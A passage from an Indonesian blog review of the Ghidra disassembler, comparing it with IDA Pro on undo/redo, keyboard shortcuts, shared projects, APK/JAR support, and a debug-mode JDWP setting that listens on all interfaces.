Salah satu kelemahan besar IDA Pro adalah tidak adanya kemampuan Undo/Redo. Artinya jika kita salah menekan “U” (undefine) di satu blok kode yang sudah kita beri komentar atau kita ubah tipe datanya, tiba-tiba kita bisa kehilangan semuanya. Menekan “C” lagi bisa mengembalikan data menjadi kode, tapi semua perubahan lain sudah hilang. Dalam kasus tertentu bahkan ini membuat semua jadi error. Jadi biasanya flow kerja memakai ida pro adalah: jika kita sudah puas dengan sesuatu kita harus save, dan jika membuat kesalahan: load ulang. Ghidra mendukung Undo/Redo, jadi tidak ada masalah ini.

Membahas mengenai shortcut “U” dan “C” di atas mengingatkan saya pada masalah shortcut: berbagai shortcut Ghidra berbeda dengan IDA Pro. IDA Pro karena muncul pertama kali, maka shortcutnya ditiru berbagai tool lain. Tapi Ghidra ini memakai shortcut yang berbeda yang membuat saya harus berpikir keras. Contoh yang mengganggu: di IDA Pro “C” adalah untuk mengubah menjadi kode dan “D” untuk mengubah menjadi data. Di Ghidra “D” dipakai untuk melakukan disassembly (mengubah menjadi kode) dan “C” dipakai untuk Clear Code bytes (mengubah menjadi undefined).

Contoh kecil lain: X untuk cross reference di berbagai tool menjadi Control-Shift-F. Sebenarnya ini semua bisa diubah (ada opsinya) tapi defaultnya terasa membingungkan.

Ada fitur yang akan berguna untuk team: shared project. Ini sesuatu yang tidak bisa dilakukan oleh IDA Pro ataupun tools disassembler/decompiler lain. Karena saya tidak pernah mengerjakan reverse engineering bersama orang lain, maka saya tidak mencoba fitur ini.

Dalam mode debug, ada sedikit kecerobohan dalam skrip startup yang mensetup JDWP (Java Debug Wire Protocol) sehingga listen ke * (semua interface) dan bukan ke 127.0.0.1. Dengan ini orang yang berada di jaringan yang sama bisa mengeksekusi kode di mesin kita melalui port itu. Ini mudah diperbaiki, hanya perlu edit skrip launchernya saja. Sebagian orang menyebut ini backdoor, tapi menurut saya ini sekedar kecerobohan karena lupa untuk setup debugging (gunanya JDWP adalah untuk mendebug program Java). Perhatikan sekali lagi: ini hanya akan terbuka dalam mode debug, defaultnya mode ini tidak aktif, kita harus secara manual menjalankan dari command line dengan parameter tertentu untuk masuk mode debug ini.

Meskipun Dalvik tercantum dalam daftar prosessor, tapi saya tidak berhasil meload classes.dex dari file APK (walaupun saya malah bisa membuka berbagai library native yang ada di dalam APK). File JAR bisa dibuka, tpai tool ini tidak lebih baik dari decompiler khusus untuk Java. Jadi secara umum: untuk tujuan khusus, Ghidra ini masih kurang bagus dibandingkan tool lain.

Demikian review singkat tool Ghidra ini. Saya berencana akan lebih banyak lagi memakai tool ini untuk menggantikan berbagai tool yang saya pakai saat ini. Saya berharap source code lengkap Ghidra segera dirilis sehingga akan ada banyak kontribusi dari banyak pihak agar Ghidra lebih nyaman dipakai dan mendukung lebih banyak arsitektur.